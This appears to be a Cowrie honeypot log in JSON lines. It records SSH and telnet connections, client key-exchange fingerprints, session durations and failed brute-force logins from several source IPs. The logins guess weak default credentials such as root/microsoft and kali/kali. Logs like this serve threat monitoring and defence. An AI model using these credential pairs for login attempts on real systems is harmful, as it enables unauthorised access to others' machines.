{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":40180,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a63a5159e20","protocol":"ssh","message":"New connection: 176.32.39.21:40180 (159.203.135.109:22) [session: 2a63a5159e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.043227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.053777Z","src_ip":"176.32.39.21","session":"2a63a5159e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.174083Z","src_ip":"176.32.39.21","session":"2a63a5159e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60934,"dst_ip":"159.203.135.109","dst_port":22,"session":"211e6f3ef9f4","protocol":"ssh","message":"New connection: 176.65.132.129:60934 (159.203.135.109:22) [session: 211e6f3ef9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.323528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.328474Z","src_ip":"176.65.132.129","session":"211e6f3ef9f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.411153Z","src_ip":"176.65.132.129","session":"211e6f3ef9f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"microsoft","message":"login attempt [root/microsoft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.537668Z","src_ip":"176.32.39.21","session":"2a63a5159e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.787657Z","src_ip":"176.65.132.129","session":"211e6f3ef9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.754899263381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:44.869003Z","src_ip":"152.42.224.71","session":"29023cdf0c31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:45.678467Z","src_ip":"176.32.39.21","session":"2a63a5159e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:45.872471Z","src_ip":"176.65.132.129","session":"211e6f3ef9f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40462,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac8502b05c8","protocol":"telnet","message":"New connection: 152.42.224.71:40462 (10.17.0.5:23) [session: bac8502b05c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:47.698939Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40322,"dst_ip":"159.203.135.109","dst_port":22,"session":"42e516cf1916","protocol":"ssh","message":"New connection: 176.65.132.129:40322 (159.203.135.109:22) [session: 42e516cf1916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:47.780329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:47.785086Z","src_ip":"176.65.132.129","session":"42e516cf1916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:47.867083Z","src_ip":"176.65.132.129","session":"42e516cf1916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39452,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5f77070482d","protocol":"ssh","message":"New connection: 103.195.236.96:39452 (10.17.0.5:22) [session: c5f77070482d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:47.875956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:47.880754Z","src_ip":"103.195.236.96","session":"c5f77070482d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:48.114789Z","src_ip":"176.65.132.129","session":"42e516cf1916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:48.121765Z","src_ip":"103.195.236.96","session":"c5f77070482d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password12","message":"login attempt [root/password12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:48.852576Z","src_ip":"103.195.236.96","session":"c5f77070482d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:49.289033Z","src_ip":"176.65.132.129","session":"42e516cf1916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:50.096717Z","src_ip":"103.195.236.96","session":"c5f77070482d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40326,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb9f3e3d9922","protocol":"ssh","message":"New connection: 176.65.132.129:40326 (159.203.135.109:22) [session: cb9f3e3d9922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:50.969799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:50.974048Z","src_ip":"176.65.132.129","session":"cb9f3e3d9922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:51.058115Z","src_ip":"176.65.132.129","session":"cb9f3e3d9922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:51.307115Z","src_ip":"176.65.132.129","session":"cb9f3e3d9922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:52.393660Z","src_ip":"176.65.132.129","session":"cb9f3e3d9922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.65072536468506,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:54.258408Z","src_ip":"152.42.224.71","session":"0d95a9bb2edd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40342,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd2d5c49705","protocol":"ssh","message":"New connection: 176.65.132.129:40342 (159.203.135.109:22) [session: 6fd2d5c49705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:54.303870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:54.307278Z","src_ip":"176.65.132.129","session":"6fd2d5c49705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:54.388786Z","src_ip":"176.65.132.129","session":"6fd2d5c49705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:54.635885Z","src_ip":"176.65.132.129","session":"6fd2d5c49705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:55.724120Z","src_ip":"176.65.132.129","session":"6fd2d5c49705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50780,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b90037109f0","protocol":"ssh","message":"New connection: 176.65.132.129:50780 (159.203.135.109:22) [session: 9b90037109f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:57.451610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:57.456877Z","src_ip":"176.65.132.129","session":"9b90037109f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:57.539382Z","src_ip":"176.65.132.129","session":"9b90037109f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:57.785965Z","src_ip":"176.65.132.129","session":"9b90037109f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.71729159355164,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:57.870458Z","src_ip":"152.42.224.71","session":"f09e1b8b93e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:58.871592Z","src_ip":"176.65.132.129","session":"9b90037109f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50792,"dst_ip":"159.203.135.109","dst_port":22,"session":"b63991e267fe","protocol":"ssh","message":"New connection: 176.65.132.129:50792 (159.203.135.109:22) [session: b63991e267fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:00.679503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:00.688967Z","src_ip":"176.65.132.129","session":"b63991e267fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:00.771384Z","src_ip":"176.65.132.129","session":"b63991e267fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:01.024685Z","src_ip":"176.65.132.129","session":"b63991e267fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:02.110774Z","src_ip":"176.65.132.129","session":"b63991e267fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35176,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2a535baa577","protocol":"telnet","message":"New connection: 152.42.224.71:35176 (10.17.0.5:23) [session: c2a535baa577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:56:02.534848Z"}
